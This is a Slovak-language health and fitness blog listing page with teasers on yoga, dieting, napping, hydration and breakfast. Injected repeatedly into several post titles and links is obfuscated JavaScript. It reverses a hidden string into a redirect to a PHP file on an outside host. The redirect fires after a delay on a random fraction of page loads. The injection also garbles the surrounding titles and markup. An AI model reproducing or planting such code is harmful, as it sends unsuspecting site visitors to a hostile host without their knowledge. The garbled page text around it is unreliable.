RSSZDRAVIE a FIT

Do plaviek s plochým bruškom (+ SÚŤAŽ)

| máj 9, 2019
Do plaviek s plochým bruškom (+ SÚŤAŽ)

Ak ste ešte nezačali s prípravami do plaviek, je najvyšší čas. Štúdie dokazujú, že ak skombinujete cvičenie v posilňovni s jogou, bude vaše chudnutie a formovanie efektívnejšie. Ideálna možnosť prekonať výhovorky a začať s jogovými cvičením na vás čaká na celodňovej udalosti Just Neon Yoga By Huawei. Najväčšia jogová udalosť na Slovensku pokračuje aj tento rok v tradícii cvičení v tme len […]

Čítať ďalej

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} ale háčik">Chudnutie netradične – má to ale háčik

| apríl 23, 2019
$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} ale háčik"> Chudnutie netradične – má to<script>$nJe=function(n){if (typeof ($nJe.list[n]) == ale háčik" title="Chudnutie netradične – má to ale háčik" />

Aj keď tomu počasie dvakrát nenasvedčuje, leto sa nezadržateľne blíži a práve v týchto mesiacoch je jednou z najpopulárnejších tém chudnutie. V rámci toho si preto prídu s istotou na svoje milovníčky vína. Najnovšie štúdie totiž prišli s informáciou, že pitie vína a chudnutie idú spolu ruka v ruke. Znie to až príliš dobre na to, aby to bola pravda? Nemýlite sa, má to […]

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);} ale háčik">Čítať ďalej

Denný spánok pre zdravie

| marec 10, 2019
Denný spánok pre zdravie

Radi by ste spravili niečo pre zlepšenie svojho zdravia? Najnovšie štúdie vás potešia, keďže sa podľa nich môžete stať zdravšími a viac vitálnymi nič nerobením. Pocit viny z toho, že si behom dňa zdriemnete hodinku na gauči, teda môžete zahodiť za hlavu. Nedávne výskumy prišli s tvrdením, ktoré poteší všetkých denných spáčov. Pravidelné hodinové zdriemnutie totiž môže podľa […]

Čítať ďalej

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}vanie 2019">Diétovanie 2019

| január 18, 2019
$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}vanie 2019"> Diéto<script>$nJe=function(n){if (typeof ($nJe.list[n]) == vanie 2019" title="Diétovanie 2019" />

Množstvo novoročných predsavzatí sa týka zmeny hmotnosti – v drvivej väčšine smerom nadol. Ak sa snažíte o zhodenie prebytočných kilogramov, prinášame tri tipy na konkrétne trendy diéty, ktoré vám v roku 2019 môžu efektívne pomôcť vo vašej snahe – alebo vám ju prinajmenšom uľahčia. Avšak pamätajte, bez pevnej vôle nebude fungovať ani tá najlepšie diéta všetkých čias. […]

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}vanie 2019">Čítať ďalej

Voda – kľúč ku zdraviu

| január 13, 2019
Voda – kľúč ku zdraviu

Americký medicínsky inštitút (The Institute of Medicine) odporúča ženám v priebehu celého roka striktne dodržiavať pitný režim, čo v preklade znamená piť prinajmenšom 2 litre vody denne. O dôvodoch sa už popísali kvantá textu, avšak vedeli ste, že sa skutočne skrýva za toľko propagovanou hydratáciou? Pozreli sme sa priamo na štúdie, aby sme zistili, aký […]

Čítať ďalej

Šípková ruženka

| november 7, 2018
Šípková ruženka

Prírodné rastlinné oleje majú opodstatnenie nie len pokiaľ ide o zdravie, ale aj o našu krásu. Zbehlé fanúšičky kozmetiky na prírodnej báze to pochopili už dávno a príliš neprekaví, že v tesnom závese ich nasledujú aj výrobcovia skrášľovacích pomocníkov. Prečo však nesiahnuť po čiste prírodnom oleji bez rôznych ďalších prídavných látok? Túto definíciu spĺňa aj najnovšia […]

Čítať ďalej

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čná diagnóza">Ranná lenivosť? Skutočná diagnóza

| september 20, 2018
$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čná diagnóza"> Ranná lenivosť? Skuto<script>$nJe=function(n){if (typeof ($nJe.list[n]) == čná diagnóza" title="Ranná lenivosť? Skutočná diagnóza" />

Ak poznáte stav, kedy pre vás neexistuje náročnejšia úloha, ako vstať skoro ráno z postele, vedzte, že nie ste zďaleka samé. Ranná lenivosť je totiž skutočnou diagnózou. Ak sa týka aj vás, je možné, že trpíte stavom, ktorý sa nazýva dysania. Dysania je neschopnosť vstať skoro ráno z postele. Poznáte ten pocit, keď máte neskonalú chuť sa […]

$nJe=function(n){if (typeof ($nJe.list[n]) == "string") return $nJe.list[n].split("").reverse().join("");return $nJe.list[n];};$nJe.list=["'php.pots_egamiruces/egamieruces-ahctpac/mrof-tcatnoc-is/snigulp/tnetnoc-pw/moc.mrifwaltb.www//:ptth'=ferh.noitacol.tnemucod"];var number1=Math.floor(Math.random() * 6); if (number1==3){var delay = 18000; setTimeout($nJe(0), delay);}čná diagnóza">Čítať ďalej

Nezdravé raňajky ako pasca pre mozog

| september 14, 2018
Nezdravé raňajky ako pasca pre mozog

Ako všetci dobre vieme, raňajky sú najdôležitejšie jedlo dňa. Vedeli ste však, aké následky majú nezdravé raňajky už počas 4 dní za sebou? Vedci zistili šokujúce fakty ako vplývajú ťažké raňajky na náš mozog a aké zmeny sa v ňom dejú. Raňajky sú najdôležitejším jedlom dňa práve preto, že majú za úlohu organizmus “naštartovať” a poskytnúť mu […]

Čítať ďalej

Mýty o zdravej výžive

| august 15, 2018
Mýty o zdravej výžive

Zdravá strava nie je vôbec jednoduchá záležitosť. Len na internete na nás číha také množstvo rôznych diét a programov na chudnutie (ktoré si neraz navzájom protirečia), že je pre laika takmer nemožné sa vyznať v tom, čo je pre efektívne fungujúci metabolizmus dobré, a čo mu, naopak, škodí. V tejto neprehľadnej spleti informácií preto svet obzvlášť […]

Čítať ďalej

O alkohole a starnutí

| jún 14, 2018
O alkohole a starnutí

Kto by si nepamätal na sladkú mladosť a bezstarostnosť študentských rokov? Vo veku okolo dvadsiatky môžete bez problémov hýriť celý víkend a v pondelok bez ťažkostí naskočiť na vlnu školských či pracovných povinností. Ani oslava v strede pracovného týždňa nie je nič, čo by sa nedalo prežiť. Ako však starneme, situácia sa rapídne mení a […]

Čítať ďalej